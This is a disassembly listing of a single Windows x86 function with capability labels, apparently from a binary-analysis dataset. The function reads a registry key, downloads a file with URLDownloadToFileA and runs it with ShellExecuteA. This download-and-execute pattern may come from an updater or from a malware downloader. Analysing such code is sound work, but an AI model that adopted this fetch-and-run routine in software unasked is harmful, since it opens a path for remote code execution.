Function at 0x4074b0
Capabilities:
Create process on windows
Download url
Get common file path
Query or enumerate registry value
Receive data
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55638f
mov eax, dword fs:[0]
push eax
mov eax, 0x2750
call fcn.00538700
mov eax, dword [0x5b6e64]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x5944a8
lea ecx, [ebp - 0x2720]
mov dword [ebp - 4], 1
call fcn.00404ae0
push ecx
mov byte [ebp - 4], 2
lea eax, [ebp + 0xc]
mov ecx, esp
mov dword [ebp - 0x2734], esp
push eax
mov dword [ebp - 0x2730], ecx
call fcn.00403070
push ecx
mov ecx, esp
mov byte [ebp - 4], 3
lea eax, [ebp + 8]
mov dword [ebp - 0x2730], ecx
push eax
call fcn.00403070
lea eax, [ebp - 0x272c]
mov byte [ebp - 4], 2
push eax
call fcn.00407f20
mov byte [ebp - 4], 4
or ebx, 0xffffffff
mov ecx, dword [eax]
mov esi, dword [ebp - 0x2720]
add esi, 0xfffffff0
lea edx, [ecx - 0x10]
cmp edx, esi
je 0x4075a5
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x407596
mov eax, dword [edx]
cmp eax, dword [esi]
jne 0x407596
push edx
call fcn.00403010
add esp, 4
mov dword [ebp - 0x2724], eax
mov ecx, ebx
lock xadd dword [edi], ecx
dec ecx
test ecx, ecx
jg 0x40758b
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x2724]
add eax, 0x10
mov dword [ebp - 0x2720], eax
jmp 0x4075a5
push dword [ecx - 0xc]
push ecx
lea ecx, [ebp - 0x2720]
call fcn.00402e70
mov byte [ebp - 4], 2
mov eax, ebx
mov edx, dword [ebp - 0x272c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4075c6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x5944a8
push dword [ebp - 0x2720]
call fcn.0053d922
add esp, 8
test eax, eax
setne al
test al, al
je 0x407e8f
push ecx
mov ecx, esp
lea eax, [ebp - 0x2720]
push eax
mov dword [ebp - 0x2734], ecx
call fcn.00403070
lea eax, [ebp - 0x2724]
push eax
call fcn.00408240
push eax
lea ecx, [ebp - 0x2720]
mov byte [ebp - 4], 5
call fcn.00402ba0
mov byte [ebp - 4], 2
mov eax, ebx
mov edx, dword [ebp - 0x2724]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407638
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x400
lea eax, [ebp - 0x71c]
push 0
push eax
call fcn.0053aab0
add esp, 0xc
lea eax, [ebp - 0x71c]
push 0
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x5949d8
lea eax, [ebp - 0x71c]
push 0x400
push eax
call fcn.00541b6b
add esp, 0xc
mov dword [ebp - 0x2744], 0
mov dword [ebp - 0x2740], 0
mov dword [ebp - 0x273c], 0
push 0
push 0
push 0x2001f
push 0
push 0
push str.SOFTWARE_skwgt_tu2
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x2744]
push dword [0x5b7700]
call fcn.0040c310
mov eax, dword [ebp - 0x2720]
mov esi, dword [ebp - 0x2744]
cmp dword [eax - 0xc], 0
jl 0x407e84
push 0x5949f0
push eax
call fcn.0053d81b
mov edi, eax
add esp, 8
test edi, edi
je 0x407e84
sub edi, dword [ebp - 0x2720]
cmp edi, 0xffffffff
je 0x407e84
mov esi, 0x5944a8
push 0x104
lea eax, [ebp - 0x114]
push 0
push eax
call fcn.0053aab0
push 0x104
lea eax, [ebp - 0x31c]
push 0
push eax
call fcn.0053aab0
push 0x104
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.0053aab0
push 0x1000
lea eax, [ebp - 0x171c]
push 0
push eax
call fcn.0053aab0
push 0x1000
lea eax, [ebp - 0x271c]
push 0
push eax
call fcn.0053aab0
add esp, 0x3c
call fcn.004176b0
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x407f0b
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x272c], eax
mov eax, 0x5944a8
mov byte [ebp - 4], 7
shr eax, 0x10
mov dword [ebp - 0x2724], eax
test eax, eax
jne 0x4077b9
movzx esi, si
push esi
call fcn.00419d3b
test eax, eax
je 0x4077cb
push esi
push eax
lea ecx, [ebp - 0x272c]
call fcn.004049b0
jmp 0x4077cb
push 0
push 0x5944a8
lea ecx, [ebp - 0x272c]
call fcn.00402e70
mov byte [ebp - 4], 8
call fcn.004176b0
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x407f0b
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x2728], esi
mov byte [ebp - 4], 9
cmp dword [ebp - 0x2724], 0
jne 0x407829
mov eax, 0x5944a8
movzx eax, ax
push eax
call fcn.00419d3b
test eax, eax
je 0x407841
mov edx, 0x5944a8
movzx ecx, dx
push ecx
push eax
lea ecx, [ebp - 0x2728]
call fcn.004049b0
jmp 0x40783b
push 0
push 0x5944a8
lea ecx, [ebp - 0x2728]
call fcn.00402e70
mov esi, dword [ebp - 0x2728]
lea eax, [edi + 2]
mov byte [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x2748]
push eax
lea ecx, [ebp - 0x2720]
call fcn.0040bba0
mov byte [ebp - 4], 0xb
mov ecx, dword [eax]
mov edi, dword [ebp - 0x2720]
add edi, 0xfffffff0
lea edx, [ecx - 0x10]
cmp edx, edi
je 0x4078c2
cmp dword [edi + 0xc], 0
jl 0x4078b3
mov eax, dword [edx]
cmp eax, dword [edi]
jne 0x4078b3
push edx
call fcn.00403010
add esp, 4
mov dword [ebp - 0x2724], eax
mov ecx, ebx
lea edx, [edi + 0xc]
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4078a8
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x2724]
add eax, 0x10
mov dword [ebp - 0x2720], eax
jmp 0x4078c2
push dword [ecx - 0xc]
push ecx
lea ecx, [ebp - 0x2720]
call fcn.00402e70
mov byte [ebp - 4], 0xa
mov eax, ebx
mov edx, dword [ebp - 0x2748]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4078e3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x2720]
cmp dword [eax - 0xc], 0
jge 0x4078f4
or ecx, 0xffffffff
jmp 0x40790f
push 0x5949f4
push eax
call fcn.0053d81b
mov ecx, eax
add esp, 8
sub ecx, dword [ebp - 0x2720]
test eax, eax
cmove ecx, ebx
push ecx
lea eax, [ebp - 0x274c]
push eax
lea ecx, [ebp - 0x2720]
call fcn.00402880
push dword [eax]
lea eax, [ebp - 0x31c]
push 0x104
push eax
call fcn.00541bd4
mov edx, dword [ebp - 0x274c]
add esp, 0xc
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407955
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x2720]
cmp dword [eax - 0xc], 0
jge 0x407966
or ecx, 0xffffffff
jmp 0x407981
push 0x5949f8
push eax
call fcn.0053d81b
mov ecx, eax
add esp, 8
sub ecx, dword [ebp - 0x2720]
test eax, eax
cmove ecx, ebx
lea eax, [ecx + 2]
push eax
lea eax, [ebp - 0x2750]
push eax
lea ecx, [ebp - 0x2720]
call fcn.0040bba0
mov byte [ebp - 4], 0xc
mov ecx, dword [eax]
mov edi, dword [ebp - 0x2720]
add edi, 0xfffffff0
lea edx, [ecx - 0x10]
cmp edx, edi
je 0x4079fe
cmp dword [edi + 0xc], 0
jl 0x4079ef
mov eax, dword [edx]
cmp eax, dword [edi]
jne 0x4079ef
push edx
call fcn.00403010
add esp, 4
mov dword [ebp - 0x2724], eax
mov ecx, ebx
lea edx, [edi + 0xc]
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4079e4
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x2724]
add eax, 0x10
mov dword [ebp - 0x2720], eax
jmp 0x4079fe
push dword [ecx - 0xc]
push ecx
lea ecx, [ebp - 0x2720]
call fcn.00402e70
mov byte [ebp - 4], 0xa
mov eax, ebx
mov edx, dword [ebp - 0x2750]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407a1f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x2720]
cmp dword [eax - 0xc], 0
jge 0x407a30
or ecx, 0xffffffff
jmp 0x407a4b
push 0x5949f4
push eax
call fcn.0053d81b
mov ecx, eax
add esp, 8
sub ecx, dword [ebp - 0x2720]
test eax, eax
cmove ecx, ebx
push ecx
lea eax, [ebp - 0x2754]
push eax
lea ecx, [ebp - 0x2720]
call fcn.00402880
push dword [eax]
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.00541bd4
mov edx, dword [ebp - 0x2754]
add esp, 0xc
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407a91
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x2720]
cmp dword [eax - 0xc], 0
jge 0x407aa2
or ecx, 0xffffffff
jmp 0x407abd
push 0x5949fc
push eax
call fcn.0053d81b
mov ecx, eax
add esp, 8
sub ecx, dword [ebp - 0x2720]
test eax, eax
cmove ecx, ebx
lea eax, [ecx + 2]
push eax
lea eax, [ebp - 0x2758]
push eax
lea ecx, [ebp - 0x2720]
call fcn.0040bba0
mov byte [ebp - 4], 0xd
mov ecx, dword [eax]
mov edi, dword [ebp - 0x2720]
add edi, 0xfffffff0
lea edx, [ecx - 0x10]
cmp edx, edi
je 0x407b3a
cmp dword [edi + 0xc], 0
jl 0x407b2b
mov eax, dword [edx]
cmp eax, dword [edi]
jne 0x407b2b
push edx
call fcn.00403010
add esp, 4
mov dword [ebp - 0x2724], eax
mov ecx, ebx
lea edx, [edi + 0xc]
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x407b20
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x2724]
add eax, 0x10
mov dword [ebp - 0x2720], eax
jmp 0x407b3a
push dword [ecx - 0xc]
push ecx
lea ecx, [ebp - 0x2720]
call fcn.00402e70
mov byte [ebp - 4], 0xa
mov eax, ebx
mov edx, dword [ebp - 0x2758]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407b5b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x2720]
cmp dword [eax - 0xc], 0
jge 0x407b6c
or ecx, 0xffffffff
jmp 0x407b87
push 0x5949f4
push eax
call fcn.0053d81b
mov ecx, eax
add esp, 8
sub ecx, dword [ebp - 0x2720]
test eax, eax
cmove ecx, ebx
push ecx
lea eax, [ebp - 0x275c]
push eax
lea ecx, [ebp - 0x2720]
call fcn.00402880
push dword [eax]
lea eax, [ebp - 0x171c]
push 0x1000
push eax
call fcn.00541bd4
mov edx, dword [ebp - 0x275c]
add esp, 0xc
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407bcd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x171c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407bd6
sub ecx, edx
lea eax, [ebp - 0x171c]
push ecx
push eax
lea ecx, [ebp - 0x272c]
call fcn.00402e70
mov edi, dword [ebp - 0x272c]
push 0x2f
push edi
call fcn.00541abe
mov ecx, eax
add esp, 8
sub ecx, edi
test eax, eax
cmove ecx, ebx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x2730]
push eax
lea ecx, [ebp - 0x272c]
call fcn.0040bba0
mov byte [ebp - 4], 0xe
lea ecx, [esi - 0x10]
mov eax, dword [eax]
mov dword [ebp - 0x2738], eax
mov dword [ebp - 0x2724], ecx
lea edx, [eax - 0x10]
cmp edx, ecx
je 0x407ca1
cmp dword [ecx + 0xc], 0
lea esi, [ecx + 0xc]
jl 0x407c8c
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x407c86
push edx
call fcn.00403010
add esp, 4
mov dword [ebp - 0x2738], eax
mov ecx, ebx
lock xadd dword [esi], ecx
dec ecx
test ecx, ecx
jg 0x407c7b
mov esi, dword [ebp - 0x2724]
push esi
mov ecx, dword [esi]
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x2738]
lea esi, [eax + 0x10]
mov dword [ebp - 0x2728], esi
jmp 0x407ca1
mov eax, dword [ebp - 0x2738]
push dword [eax - 0xc]
lea ecx, [ebp - 0x2728]
push eax
call fcn.00402e70
mov esi, dword [ebp - 0x2728]
mov byte [ebp - 4], 0xa
mov eax, ebx
mov edx, dword [ebp - 0x2730]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407cc2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x71c]
push eax
lea eax, [ebp - 0x271c]
push 0x1000
push eax
call fcn.00541bd4
push esi
lea eax, [ebp - 0x271c]
push 0x1000
push eax
call fcn.00541b6b
add esp, 0x18
mov dword [ebp - 0x2728], 0x104
lea eax, [ebp - 0x2728]
push eax
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x2734]
push eax
push 0
lea eax, [ebp - 0x31c]
push eax
push dword [ebp - 0x2744]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x407d4f
mov eax, dword [ebp - 0x2734]
cmp eax, 1
je 0x407d37
cmp eax, 2
jne 0x407d4f
movzx eax, byte [ebp - 0x114]
xor ecx, ecx
cmp dword [ebp - 0x2728], ecx
cmove eax, ecx
mov byte [ebp - 0x114], al
lea eax, [ebp - 0x218]
push eax
call fcn.005417c9
mov ebx, eax
lea eax, [ebp - 0x114]
push eax
call fcn.005417c9
add esp, 8
cmp eax, ebx
jge 0x407df3
lea eax, [ebp - 0x171c]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0
push 0
lea eax, [ebp - 0x271c]
push eax
lea eax, [ebp - 0x171c]
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x407df3
push 0
push 0x5944a8
push 0x5944a8
lea eax, [ebp - 0x271c]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x218]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407dc8
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x218]
push eax
push 1
push 0
lea eax, [ebp - 0x31c]
push eax
push dword [ebp - 0x2744]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x2720]
cmp dword [eax - 0xc], 0
jge 0x407e0e
mov dword [ebp - 0x2724], 0xffffffff
or ebx, 0xffffffff
jmp 0x407e34
push 0x5949f0
push eax
call fcn.0053d81b
mov ecx, eax
add esp, 8
sub ecx, dword [ebp - 0x2720]
mov ebx, 0xffffffff
test eax, eax
cmove ecx, ebx
mov dword [ebp - 0x2724], ecx
mov byte [ebp - 4], 8
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x407e4f
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 6
add edi, 0xfffffff0
mov eax, ebx
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x407e6a
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x2724]
mov esi, 0x5944a8
cmp edi, 0xffffffff
jne 0x407701
mov esi, dword [ebp - 0x2744]
test esi, esi
je 0x407e8f
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 1
mov eax, ebx
mov edx, dword [ebp - 0x2720]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407eb0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov eax, ebx
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407ece
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 0xc]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x407eed
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00537a6f
mov esp, ebp
pop ebp
ret 8
push 0x80004005
call fcn.00403110
int3